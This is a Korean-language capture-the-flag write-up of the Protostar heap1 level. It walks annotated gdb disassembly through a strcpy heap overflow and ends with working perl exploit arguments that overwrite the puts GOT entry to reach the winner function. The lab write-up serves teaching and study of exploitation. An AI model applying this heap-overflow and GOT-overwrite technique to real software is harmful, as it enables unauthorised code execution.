(gdb) disas main
Dump of assembler code for function main:
0x080484b9 <main+0>: push ebp
0x080484ba <main+1>: mov ebp,esp
0x080484bc <main+3>: and esp,0xfffffff0
0x080484bf <main+6>: sub esp,0x20
0x080484c2 <main+9>: mov DWORD PTR [esp],0x8
0x080484c9 <main+16>: call 0x80483bc <malloc@plt> //malloc(0x8)
0x080484ce <main+21>: mov DWORD PTR [esp+0x14],eax
0x080484d2 <main+25>: mov eax,DWORD PTR [esp+0x14]
0x080484d6 <main+29>: mov DWORD PTR [eax],0x1
할당받은 주소를 esp+0x14에 넣음
그리고 eax가 가리키는 곳(esp+0x14가 가리키는 곳)에 1 넣음
0x080484dc <main+35>: mov DWORD PTR [esp],0x8
0x080484e3 <main+42>: call 0x80483bc <malloc@plt> //malloc(0x8)
0x080484e8 <main+47>: mov edx,eax
0x080484ea <main+49>: mov eax,DWORD PTR [esp+0x14]
0x080484ee <main+53>: mov DWORD PTR [eax+0x4],edx
할당받은 주소를 edx에 넣고 아까 esp+0x14 주소를 eax에 넣음
그리고 eax+0x4가 가리키는 곳에 edx(할당받은 주소)를 넣음
(gdb) x/4x $eax
0x804a008: 0x00000001 0x0804a018
이렇게 들어가지겠지
0x080484f1 <main+56>: mov DWORD PTR [esp],0x8
0x080484f8 <main+63>: call 0x80483bc <malloc@plt> //malloc(0x8)
0x080484fd <main+68>: mov DWORD PTR [esp+0x18],eax
0x08048501 <main+72>: mov eax,DWORD PTR [esp+0x18]
0x08048505 <main+76>: mov DWORD PTR [eax],0x2
이번엔 걍 esp+0x18에 리턴값넣고..
거기 첫번째 주소값을 eax로 리턴시키고..
0x2 넣음
0x0804850b <main+82>: mov DWORD PTR [esp],0x8
0x08048512 <main+89>: call 0x80483bc <malloc@plt> //malloc(0x8)
0x08048517 <main+94>: mov edx,eax
0x08048519 <main+96>: mov eax,DWORD PTR [esp+0x18]
0x0804851d <main+100>: mov DWORD PTR [eax+0x4],edx
리턴값 edx에 넣어두고 esp+0x18 주소를 eax에 넣고 아까 리턴값을 eax+0x4에 넣음.
[esp+0x18]+0x4에 넣는단 소리겠지
0x08048520 <main+103>: mov eax,DWORD PTR [ebp+0xc]
0x08048523 <main+106>: add eax,0x4
0x08048526 <main+109>: mov eax,DWORD PTR [eax]
여기서 eax에 버퍼의 주소가 저장됨
0x08048528 <main+111>: mov edx,eax
0x0804852a <main+113>: mov eax,DWORD PTR [esp+0x14]
0x0804852e <main+117>: mov eax,DWORD PTR [eax+0x4]
esp+0x14가 제일 할당받은 공간을 가리킴.
여기서 +0x4면 두번째로 할당받은놈이 저장한 데이터가 들어있는 곳임.
어느 위치에 자신을 할당시켰는지 주소를 저장해놨음. 고로 eax에는 두번째로할당받은 힙의 주소가 들어감
0x08048531 <main+120>: mov DWORD PTR [esp+0x4],edx
0x08048535 <main+124>: mov DWORD PTR [esp],eax
0x08048538 <main+127>: call 0x804838c <strcpy@plt>
입력 버퍼를 src, 아까 그 두번째로 할당받은 힙 주소를 dest로 해서 복사함.
여기가 공략 포인트
0x0804853d <main+132>: mov eax,DWORD PTR [ebp+0xc]
0x08048540 <main+135>: add eax,0x8
0x08048543 <main+138>: mov eax,DWORD PTR [eax]
0x08048545 <main+140>: mov edx,eax
ebp+0xc에 있는 값을 eax에 넣고 그 값을 또 8 더하고 그걸 주소로 해서 edx에 넣음
첨에 0xbffff824였으니까 0xbffff82c겠네여 근데 아무것도 없음 걍 NULL임
그래서 edx도 NULL임
0x08048547 <main+142>: mov eax,DWORD PTR [esp+0x18]
0x0804854b <main+146>: mov eax,DWORD PTR [eax+0x4]
esp+0x18에는 두번째 인자의 주소가 박혀있음.. 그러니까 버퍼가 복사된 위치임
eax+4는 그 복사된 버퍼에서 20byte만큼 떨어진 곳의 값이 박히겠네요
아마 `perl -e 'print "A"x20, "B"x4, ... 로 입력했다면 eax에 0x42424242가 박히겠지요
0x0804854e <main+149>: mov DWORD PTR [esp+0x4],edx
0x08048552 <main+153>: mov DWORD PTR [esp],eax
0x08048555 <main+156>: call 0x804838c <strcpy@plt>
아까 edx에 NULL이 저장되어있었죠? esp+0x4는 버퍼를 가리키고있습니다.
eax에는 0x42424242이 있지여 0x42424242을 esp+0x4의 위치에 박아줍니다.
dest는 0x42424242, src는 NULL이 박힌 곳이 되겠네요.
뭐..복사가 제대로 될 리 없으니 여기서 에러가 뜨겠네여
src를 어떻게 바꿀 수 있을까요 흠
삽질하다보니 버퍼 주소가 argv[1]이랑 [2]랑 분리한다는 사실이 떠올랐슴다..
여긴 argv[2]의 주소였어요 ㅠㅠ 아무튼..
dest는 0x42424242, src는 argv[2]의 값이 되겠네요
0x0804855a <main+161>: mov DWORD PTR [esp],0x804864b
0x08048561 <main+168>: call 0x80483cc <puts@plt> //d that's wrap folks!
(gdb) r `perl -e 'print "A"x20, "\x48\xa0\x04\x08", "C"x50'` `perl -e 'print "A"x40'`
Starting program: /opt/protostar/bin/heap1 `perl -e 'print "A"x20, "\x48\xa0\x04\x08", "C"x50'` `perl -e 'print "A"x40'`
(gdb) c
Continuing.
and that's a wrap folks!
정상적으로 되긴 하네요..! 이제 winner 주소로 점프해야할 것 같은데..
0x08048566 <main+173>: leave
0x08048567 <main+174>: ret
End of assembler dump.
(gdb) disas winner
Dump of assembler code for function winner:
0x08048494 <winner+0>: push ebp
0x08048495 <winner+1>: mov ebp,esp
0x08048497 <winner+3>: sub esp,0x18
0x0804849a <winner+6>: mov DWORD PTR [esp],0x0
0x080484a1 <winner+13>: call 0x80483ac <time@plt>
0x080484a6 <winner+18>: mov edx,0x8048630
0x080484ab <winner+23>: mov DWORD PTR [esp+0x4],eax
0x080484af <winner+27>: mov DWORD PTR [esp],edx
0x080484b2 <winner+30>: call 0x804839c <printf@plt>
0x080484b7 <winner+35>: leave
0x080484b8 <winner+36>: ret
End of assembler dump.
(gdb) r `perl -e 'print "A"x20, "\x8c\xf7\xff\xbf"'` `perl -e 'print "\x94\x84\x04\x08"'`
Starting program: /opt/protostar/bin/heap1 `perl -e 'print "A"x20, "\x8c\xf7\xff\xbf"'` `perl -e 'print "\x94\x84\x04\x08"'`
and that's a wrap folks!
and we have a winner @ 1445906039
Program received signal SIGSEGV, Segmentation fault.
0x00000000 in ?? ()
이런식으로 main함수의 ret를 winner 함수 주소로 조작하면 되는군요!
그런데 정상적으로 종료가 되지 않아서인지 gdb 내에서만 winner어쩌구가 보이고 실제로는 안뜨네요 ㅠ
보니까 어떻게 건드릴 수 없을 것 같아서 그냥 다른 방법을 찾아봤습니다..
main함수에 있는 puts를 활용해볼까요 음 여기 함수 주소를 winner 함수주소로 바꿔보겠습니다.
(gdb) p winner
$4 = {void (void)} 0x8048494 <winner>
(gdb) r `perl -e 'print "A"x20, "\xcc\x83\x04\x08"'` `perl -e 'print "\xcc\x83\x04\x08"'`
이제 puts의 주소를 찾아야하는데..
디스어셈블했을때 나오는 plt 주소를 사용하시면 안되고 got 주소를 사용해주셔야합니다.
(gdb) x/3i 0x80483cc
0x80483cc <puts@plt>: jmp *0x8049774
0x80483d2 <puts@plt+6>: push $0x30
0x80483d7 <puts@plt+11>: jmp 0x804835c
그렇다고합니다. 0x8049774를 puts의 주소로 하여 한번 해보져
user@protostar:/opt/protostar/bin$ ./heap1 `perl -e 'print "A"x20, "\x74\x97\x04\x08"'` `perl -e 'print "\x94\x84\x04\x08"'`
and we have a winner @ 1445918171
성공했네요 ㅎ 굳이 저렇게 일일이 got주소를 찾아낼 필요 없이 objdump -D옵션을 사용해 주소를 확인할 수 있습니다.